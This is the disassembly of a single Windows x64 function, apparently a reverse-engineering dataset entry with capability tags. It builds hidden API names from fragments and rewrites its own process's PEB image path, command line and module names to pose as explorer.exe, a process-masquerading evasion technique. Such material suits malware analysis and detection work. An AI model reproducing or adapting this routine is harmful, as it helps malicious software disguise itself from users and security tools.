Function at 0x140016d78
Capabilities:
Get common file path
Patch process command line

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x768]
sub rsp, 0x840
mov rax, qword [0x14008f040]
xor rax, rsp
mov qword [rbp + 0x730], rax
mov eax, dword [0x14008051c]
lea r9, [rbp - 0x60]
mov dword [rbp - 0x74], eax
lea r8, [0x140080718]
mov ecx, 0x64
mov dword [rbp - 0x60], WSACleanup
lea rax, [rbp - 0x80]
mov dword [rbp - 0x68], ecx
mov qword [rsp + 0x58], rax
lea rax, [rbp - 0x7c]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea edx, [rcx + 8]
lea rax, [rbp - 0x74]
mov dword [rbp - 0x6c], edx
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x6c]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x68]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x64]
mov dword [rbp - 0x70], edx
mov dword [rbp - 0x7c], edx
mov dword [rbp - 0x80], edx
lea edx, [rcx - 0x5a]
mov dword [rbp - 0x78], ecx
lea rcx, [rbp + 0x78]
mov qword [rsp + 0x20], rax
mov dword [rbp - 0x64], reloc.WS2_32.dll_WSACleanup
call fcn.140016d24
mov eax, dword [str.NtQu]
lea rdi, str._s_s_s_s_s
movsd xmm0, qword [str.onProcess]
lea r9, [rbp + 0x28]
mov dword [rbp + 0x30], eax
lea r8, [rbp + 0x30]
mov al, byte [0x140080744]
lea rcx, [rbp + 0xd8]
mov byte [rbp + 0x34], al
mov rdx, rdi
mov eax, dword [str.eryI]
mov dword [rbp + 0x28], eax
mov al, byte [0x14008074c]
mov byte [rbp + 0x2c], al
mov eax, dword [str.nfor]
mov dword [rbp + 0x20], eax
mov al, byte [0x140080754]
mov byte [rbp + 0x24], al
mov eax, dword [str.mati]
mov dword [rbp + 0x18], eax
mov al, byte [0x14008075c]
mov byte [rbp + 0x1c], al
movzx eax, word [0x140080768]
mov word [rbp + 0x68], ax
lea rax, [rbp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x18]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
movsd qword [rbp + 0x60], xmm0
call fcn.140015c70
lea rcx, [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtQueryInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ebx, ebx
mov rsi, rax
test rax, rax
je 0x140017302
mov eax, dword [str.itica]
lea r9, [rbp + 0x48]
mov ecx, dword [str.RtlEn]
lea r8, [rbp + 0x50]
mov dword [rbp + 0x40], eax
mov rdx, rdi
movzx eax, word [0x1400807b0]
mov word [rbp + 0x44], ax
mov eax, dword [str.lSect]
mov dword [rbp + 0x58], eax
movzx eax, word [reloc.WS2_32.dll_WSACleanup]
mov dword [rbp + 0x50], ecx
movzx ecx, word [0x1400807a0]
mov word [rbp + 0x5c], ax
lea rax, [rbp - 0x5c]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x58]
mov word [rbp + 0x54], cx
mov ecx, dword [str.terCr]
mov dword [rbp + 0x48], ecx
movzx ecx, word [0x1400807a8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x40]
mov word [rbp + 0x4c], cx
lea rcx, [rbp + 0xa8]
mov qword [rsp + 0x20], rax
mov dword [rbp - 0x5c], 0x6e6f69
call fcn.140015c70
lea rcx, [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
test rax, rax
je 0x140017302
mov eax, dword [str.Crit]
lea r9, [rbp - 0x20]
mov ecx, dword [str.RtlL]
lea r8, [rbp - 0x18]
mov dword [rbp - 0x28], eax
mov rdx, rdi
mov al, byte [0x1400807d0]
mov byte [rbp - 0x24], al
mov eax, dword [str.ical]
mov dword [rbp + 0x38], eax
mov al, byte [0x1400807d8]
mov byte [rbp + 0x3c], al
movabs rax, 0x6e6f6974636553
mov dword [rbp - 0x18], ecx
mov cl, byte [0x1400807c0]
mov qword [rbp + 0x70], rax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x38]
mov byte [rbp - 0x14], cl
mov ecx, dword [str.eave]
mov dword [rbp - 0x20], ecx
mov cl, byte [0x1400807c8]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x28]
mov byte [rbp - 0x1c], cl
lea rcx, [rbp + 0xc0]
mov qword [rsp + 0x20], rax
call fcn.140015c70
lea rcx, [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
je 0x140017302
mov eax, dword [str.nico]
lea r9, [rbp + 8]
mov ecx, dword [str.RtlI]
lea r8, [rbp + 0x10]
mov dword [rbp], eax
mov rdx, rdi
mov al, byte [0x1400807f0]
mov byte [rbp + 4], al
mov eax, dword [str.deSt]
mov dword [rbp - 8], eax
mov al, byte [0x1400807f8]
mov byte [rbp - 4], al
mov eax, dword [str.ring]
mov dword [rbp - 0x10], eax
mov al, byte [0x140080800]
mov dword [rbp + 0x10], ecx
mov cl, byte [0x1400807e0]
mov byte [rbp - 0xc], al
lea rax, [rbp - 0x10]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 8]
mov byte [rbp + 0x14], cl
mov ecx, dword [str.nitU]
mov dword [rbp + 8], ecx
mov cl, byte [0x1400807e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp]
mov byte [rbp + 0xc], cl
lea rcx, [rbp + 0x90]
mov qword [rsp + 0x20], rax
call fcn.140015c70
lea rcx, [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
je 0x140017302
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x438
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140017302
lea r9d, [rbx + 0x30]
mov qword [rsp + 0x20], rbx
lea r8, [rbp - 0x58]
xor edx, edx
mov rcx, rax
call rsi
lea esi, [rbx + 8]
mov qword [rsp + 0x20], rbx
mov r9d, esi
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x140017302
mov rdx, qword [rsp + 0x60]
lea r8, [rsp + 0x78]
add rdx, 0x18
mov qword [rsp + 0x20], rbx
mov r9d, esi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x140017302
mov r13d, 0x104
lea rcx, [rbp + 0x100]
mov edx, r13d
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea r8, str.explorer.exe
lea edx, [r13 + 1]
lea rcx, [rbp + 0x100]
call fcn.140057e28
mov ecx, r13d
call fcn.14004b79c
lea r8, [rbp + 0x100]
mov edx, r13d
mov rcx, rax
mov rsi, rax
call fcn.140057dc0
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx + 0x38]
call r12
mov rcx, qword [rsp + 0x60]
mov rdx, rsi
mov rcx, qword [rcx + 0x20]
add rcx, 0x60
call r14
mov rcx, qword [rsp + 0x60]
mov rdx, rsi
mov rcx, qword [rcx + 0x20]
add rcx, 0x70
call r14
mov r8d, r13d
lea rdx, [rbp + 0x520]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rsp + 0x78]
mov r12, qword [rcx + 0x10]
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x70], rcx
mov r9d, 8
mov qword [rsp + 0x20], rbx
lea r8, [rsp + 0x68]
mov rcx, rdi
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x140017302
mov rdx, qword [rsp + 0x68]
lea r8, [rbp + 0x310]
mov rcx, rdi
mov qword [rsp + 0x20], rbx
movzx r9d, word [rdx + 0x4a]
mov rdx, qword [rdx + 0x50]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x140017302
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x520]
call fcn.14004bcec
test eax, eax
je 0x1400172b3
mov rax, qword [rsp + 0x68]
mov rcx, qword [rax]
mov qword [rsp + 0x70], rcx
cmp rcx, r12
jne 0x14001723b
jmp 0x1400172d1
mov rcx, qword [rsp + 0x68]
mov rdx, rsi
add rcx, 0x48
call r14
mov rcx, qword [rsp + 0x68]
mov rdx, rsi
add rcx, 0x58
call r14
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx + 0x38]
call r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x100]
call fcn.14004bcec
test eax, eax
setne bl
mov eax, ebx
jmp 0x140017304
xor eax, eax
mov rcx, qword [rbp + 0x730]
xor rcx, rsp
call fcn.14001a0e0
lea r11, [rsp + 0x840]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret